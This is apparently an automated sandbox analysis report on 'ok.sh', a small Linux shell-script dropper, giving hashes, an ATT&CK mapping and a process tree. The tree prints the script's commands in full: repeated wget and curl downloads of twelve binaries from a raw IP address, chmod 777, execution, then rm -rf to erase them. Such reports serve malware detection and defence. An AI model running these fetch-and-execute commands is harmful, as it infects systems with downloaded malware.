1469a7931d3da0258753eb7e758e08126895ccdb942d5e2dd3ed7a5e0889faf1

Analysis

max time kernel
3s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/08/2026, 04:31

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General

Target
ok.sh
Size 1KB
Sample260828-e5g1tssyes
SHA256 1469a7931d3da0258753eb7e758e08126895ccdb942d5e2dd3ed7a5e0889faf1
MD5 bb17a9892cff44d80c98630133c5a335
SHA1 58724066706c9c83364c286b1c12cc66555d4674
SHA512 3eb2d8efb5cfa2ea2ee1e52fa0338872b1f2ad251660ed412bda29adb449ee854e1f4e76580d79a5795e76d2693a0f4199fa4c5bf34d441539e6dfc4c237fe98
TLSH
T1043130DE541169311102CE8F73A3364CB19EB2FB2C4FD7E099590EA986883DCF162B5D
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1550	chmod
1557	chmod
1578	chmod
1599	chmod
1606	chmod
1564	chmod
1571	chmod
1585	chmod
1592	chmod
1613	chmod
1620	chmod
1627	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/a2b412	1551	ok.sh
/tmp/cc6fbf	1558	ok.sh
/tmp/3776c6	1565	ok.sh
/tmp/4e8b0d	1572	ok.sh
/tmp/d4681f	1579	ok.sh
/tmp/b553c7	1586	ok.sh
/tmp/d1d1a3	1593	ok.sh
/tmp/a68e38	1600	ok.sh
/tmp/c16ea7	1607	ok.sh
/tmp/057ea5	1614	ok.sh
/tmp/ea6cf7	1621	ok.sh
/tmp/da830c	1628	ok.sh

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/4e8b0d	curl
File opened for modification	/tmp/d4681f	curl
File opened for modification	/tmp/a68e38	curl
File opened for modification	/tmp/c16ea7	curl
File opened for modification	/tmp/057ea5	curl
File opened for modification	/tmp/ea6cf7	curl
File opened for modification	/tmp/a2b412	curl
File opened for modification	/tmp/cc6fbf	curl
File opened for modification	/tmp/3776c6	curl
File opened for modification	/tmp/b553c7	curl
File opened for modification	/tmp/d1d1a3	curl
File opened for modification	/tmp/da830c	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:1538
- /usr/bin/wget
  wget http://5.182.210.174/a2b412
  2⤵
  PID:1539
- /usr/bin/curl
  curl -O http://5.182.210.174/a2b412
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod 777 a2b412
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/a2b412
  ./a2b412 bc
  2⤵
  PID:1551
- /bin/rm
  rm -rf a2b412
  2⤵
  PID:1553
- /bin/rm
  rm -rf a2b412.1
  2⤵
  PID:1554
- /usr/bin/wget
  wget http://5.182.210.174/cc6fbf
  2⤵
  PID:1555
- /usr/bin/curl
  curl -O http://5.182.210.174/cc6fbf
  2⤵
  - Writes file to tmp directory
  PID:1556
- /bin/chmod
  chmod 777 cc6fbf
  2⤵
  - File and Directory Permissions Modification
  PID:1557
- /tmp/cc6fbf
  ./cc6fbf bc
  2⤵
  PID:1558
- /bin/rm
  rm -rf cc6fbf
  2⤵
  PID:1560
- /bin/rm
  rm -rf cc6fbf.1
  2⤵
  PID:1561
- /usr/bin/wget
  wget http://5.182.210.174/3776c6
  2⤵
  PID:1562
- /usr/bin/curl
  curl -O http://5.182.210.174/3776c6
  2⤵
  - Writes file to tmp directory
  PID:1563
- /bin/chmod
  chmod 777 3776c6
  2⤵
  - File and Directory Permissions Modification
  PID:1564
- /tmp/3776c6
  ./3776c6 bc
  2⤵
  PID:1565
- /bin/rm
  rm -rf 3776c6
  2⤵
  PID:1567
- /bin/rm
  rm -rf 3776c6.1
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://5.182.210.174/4e8b0d
  2⤵
  PID:1569
- /usr/bin/curl
  curl -O http://5.182.210.174/4e8b0d
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/chmod
  chmod 777 4e8b0d
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/4e8b0d
  ./4e8b0d bc
  2⤵
  PID:1572
- /bin/rm
  rm -rf 4e8b0d
  2⤵
  PID:1574
- /bin/rm
  rm -rf 4e8b0d.1
  2⤵
  PID:1575
- /usr/bin/wget
  wget http://5.182.210.174/d4681f
  2⤵
  PID:1576
- /usr/bin/curl
  curl -O http://5.182.210.174/d4681f
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/chmod
  chmod 777 d4681f
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/d4681f
  ./d4681f bc
  2⤵
  PID:1579
- /bin/rm
  rm -rf d4681f
  2⤵
  PID:1581
- /bin/rm
  rm -rf d4681f.1
  2⤵
  PID:1582
- /usr/bin/wget
  wget http://5.182.210.174/b553c7
  2⤵
  PID:1583
- /usr/bin/curl
  curl -O http://5.182.210.174/b553c7
  2⤵
  - Writes file to tmp directory
  PID:1584
- /bin/chmod
  chmod 777 b553c7
  2⤵
  - File and Directory Permissions Modification
  PID:1585
- /tmp/b553c7
  ./b553c7 bc
  2⤵
  PID:1586
- /bin/rm
  rm -rf b553c7
  2⤵
  PID:1588
- /bin/rm
  rm -rf b553c7.1
  2⤵
  PID:1589
- /usr/bin/wget
  wget http://5.182.210.174/d1d1a3
  2⤵
  PID:1590
- /usr/bin/curl
  curl -O http://5.182.210.174/d1d1a3
  2⤵
  - Writes file to tmp directory
  PID:1591
- /bin/chmod
  chmod 777 d1d1a3
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/d1d1a3
  ./d1d1a3 bc
  2⤵
  PID:1593
- /bin/rm
  rm -rf d1d1a3
  2⤵
  PID:1595
- /bin/rm
  rm -rf d1d1a3.1
  2⤵
  PID:1596
- /usr/bin/wget
  wget http://5.182.210.174/a68e38
  2⤵
  PID:1597
- /usr/bin/curl
  curl -O http://5.182.210.174/a68e38
  2⤵
  - Writes file to tmp directory
  PID:1598
- /bin/chmod
  chmod 777 a68e38
  2⤵
  - File and Directory Permissions Modification
  PID:1599
- /tmp/a68e38
  ./a68e38 bc
  2⤵
  PID:1600
- /bin/rm
  rm -rf a68e38
  2⤵
  PID:1602
- /bin/rm
  rm -rf a68e38.1
  2⤵
  PID:1603
- /usr/bin/wget
  wget http://5.182.210.174/c16ea7
  2⤵
  PID:1604
- /usr/bin/curl
  curl -O http://5.182.210.174/c16ea7
  2⤵
  - Writes file to tmp directory
  PID:1605
- /bin/chmod
  chmod 777 c16ea7
  2⤵
  - File and Directory Permissions Modification
  PID:1606
- /tmp/c16ea7
  ./c16ea7 bc
  2⤵
  PID:1607
- /bin/rm
  rm -rf c16ea7
  2⤵
  PID:1609
- /bin/rm
  rm -rf c16ea7.1
  2⤵
  PID:1610
- /usr/bin/wget
  wget http://5.182.210.174/057ea5
  2⤵
  PID:1611
- /usr/bin/curl
  curl -O http://5.182.210.174/057ea5
  2⤵
  - Writes file to tmp directory
  PID:1612
- /bin/chmod
  chmod 777 057ea5
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/057ea5
  ./057ea5 bc
  2⤵
  PID:1614
- /bin/rm
  rm -rf 057ea5
  2⤵
  PID:1616
- /bin/rm
  rm -rf 057ea5.1
  2⤵
  PID:1617
- /usr/bin/wget
  wget http://5.182.210.174/ea6cf7
  2⤵
  PID:1618
- /usr/bin/curl
  curl -O http://5.182.210.174/ea6cf7
  2⤵
  - Writes file to tmp directory
  PID:1619
- /bin/chmod
  chmod 777 ea6cf7
  2⤵
  - File and Directory Permissions Modification
  PID:1620
- /tmp/ea6cf7
  ./ea6cf7 bc
  2⤵
  PID:1621
- /bin/rm
  rm -rf ea6cf7
  2⤵
  PID:1623
- /bin/rm
  rm -rf ea6cf7.1
  2⤵
  PID:1624
- /usr/bin/wget
  wget http://5.182.210.174/da830c
  2⤵
  PID:1625
- /usr/bin/curl
  curl -O http://5.182.210.174/da830c
  2⤵
  - Writes file to tmp directory
  PID:1626
- /bin/chmod
  chmod 777 da830c
  2⤵
  - File and Directory Permissions Modification
  PID:1627
- /tmp/da830c
  ./da830c bc
  2⤵
  PID:1628
- /bin/rm
  rm -rf da830c
  2⤵
  PID:1630
- /bin/rm
  rm -rf da830c.1
  2⤵
  PID:1631

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

a2b412

Path /tmp/a2b412
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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